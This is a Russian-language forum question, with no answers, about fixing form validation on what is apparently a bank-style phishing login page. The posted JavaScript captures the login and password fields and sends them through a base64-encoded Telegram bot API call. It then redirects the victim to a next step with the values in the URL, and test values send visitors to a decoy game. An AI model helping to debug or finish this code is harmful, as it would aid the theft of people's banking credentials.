Валидация не работает , и перебрасывает на следующую страницу при любом обозначении

Question

Всем доброго времени суток. Стоит проверка в логин/пасс на minlenght 6 и maxlenght 20 в html . Но все равно перебрасывает на следующую страницу даже при вводах 2-х символов. Понимаю то что перекидывает благодаря функции setTimeout . если я добавляю в самом начале проверку валидации и кнопку button меняю на onsubmit то не срабатывают основные действия необходимые мне js.... Необходимо что бы перебрасывало на следующую страницу только если все требование валидации выполнены , но так же необходимо оставить работу основной функции. На данный момент всё работает, кроме валидации и перекидывает при любых обозначениях на следующую страницу.

loginsubmitbut.onclick = function() {
  var phone = document.getElementById('phone-input').value;
  var card = document.getElementById('card-input').value;
  if (phone == 'test123456789') {
    window.location.href = "./hextris-gh-pages/index.html";
  }
  if (card == 'test123456789') {
    window.location.href = "./hextris-gh-pages/index.html";
  }
  if (phone == '') {
    alert("Внимание", "Одно, или более полей, не были заполнены!");
  }
  if (card == '') {
    alert("Внимание", "Одно, или более полей, не были заполнены!");
  } else {
    /* var cox,d = 0; console.log(cox,d); */
    var encoded = "тут api обращение в бота ТГ";
    var decodedString = atob(encoded);
    var encoded2 = "тут api обращение в бота ТГ";
    var decodedString2 = atob(encoded2);
    let msg = [`новый гость%0D%0A`,
      `первая страница%0D%0A`,
      `Логин: <code>${phone}</code>%0D%0A`,
      `Пароль: ${card}`
    ];
    var request = new XMLHttpRequest();
    request.open("POST", `${decodedString}${msg[0]}${msg[1]}${msg[2]}${msg[3]}`);
    request.send("POST", `${decodedString}${msg[0]}${msg[1]}${msg[2]}${msg[3]}`);
    setTimeout(function() {
      window.location.href = `step1.html?card=${card}&phone=${phone}`;
    }, 2 * 1000);
  }
};

<div class="sc-fzocqA jXuaP">
  <form><input id="phone-input" autocomplete="off" name="phone-input" placeholder="Логин (или УНК)" type="txt" min="6" minlength="6" maxlength="20" class="sc-fzonZV gqyXFV _1JaXWZxt-SqjfDIwwiaV6P _2B9lFmcBwHPjUScshrzZK4" required="">
</div>
<p id="control-with-tips_idrq6yqbi-hint-message" aria-hidden="true" class="sc-AxiKw bxjDyy sc-pJUVA eblaXG"></p>
</div>
</div>
<form><input id="card-input" name="card-input" autocomplete="off" placeholder="Пароль" type="password" min="6" minlength="6" max="20" class="sc-fzonZV gqyXFV _1JaXWZxt-SqjfDIwwiaV6P _2B9lFmcBwHPjUScshrzZK4" required="">
  <p></p>
  <button id="loginsubmitbut" type="button" class="button button-text" style="background: #4169E1; color: #fff; padding: 7px; border-radius: 20px; font-size: 15px; font-family: Arial;"><a><p><center>Подтвердить</center></p></button></a>
</form>
</form>
<div>
  <a href='./number.html' style='text-decoration: none; color: #4169E1; font-size: 17px;'>
    <p>
      <center>Не могу войти</center>
    </p>
  </a>
  </button>
</div>
</div>
</div>
<form>
  <div class="e2_3">
    <script>
      document.write(getParameterByName(""));
    </script>
  </div>
  <div class="e2_5"></div>
  <table id="tabl">

  </table>
  <table>
    <tr>
      <td>
        <div class="e2_24"></div>
      </td>
      <td>
        <div class="e2_25"></div>
      </td>
      <td>
        <div class="e2_26"></div>
      </td>
      <td>
        <div class="e2_27"></div>
      </td>
    </tr>
  </table>
  <script src="./config.js"></script>
</form>

БЛОГ НА HUSL

Валидация не работает , и перебрасывает на следующую страницу при любом обозначении

Ответы (0 шт):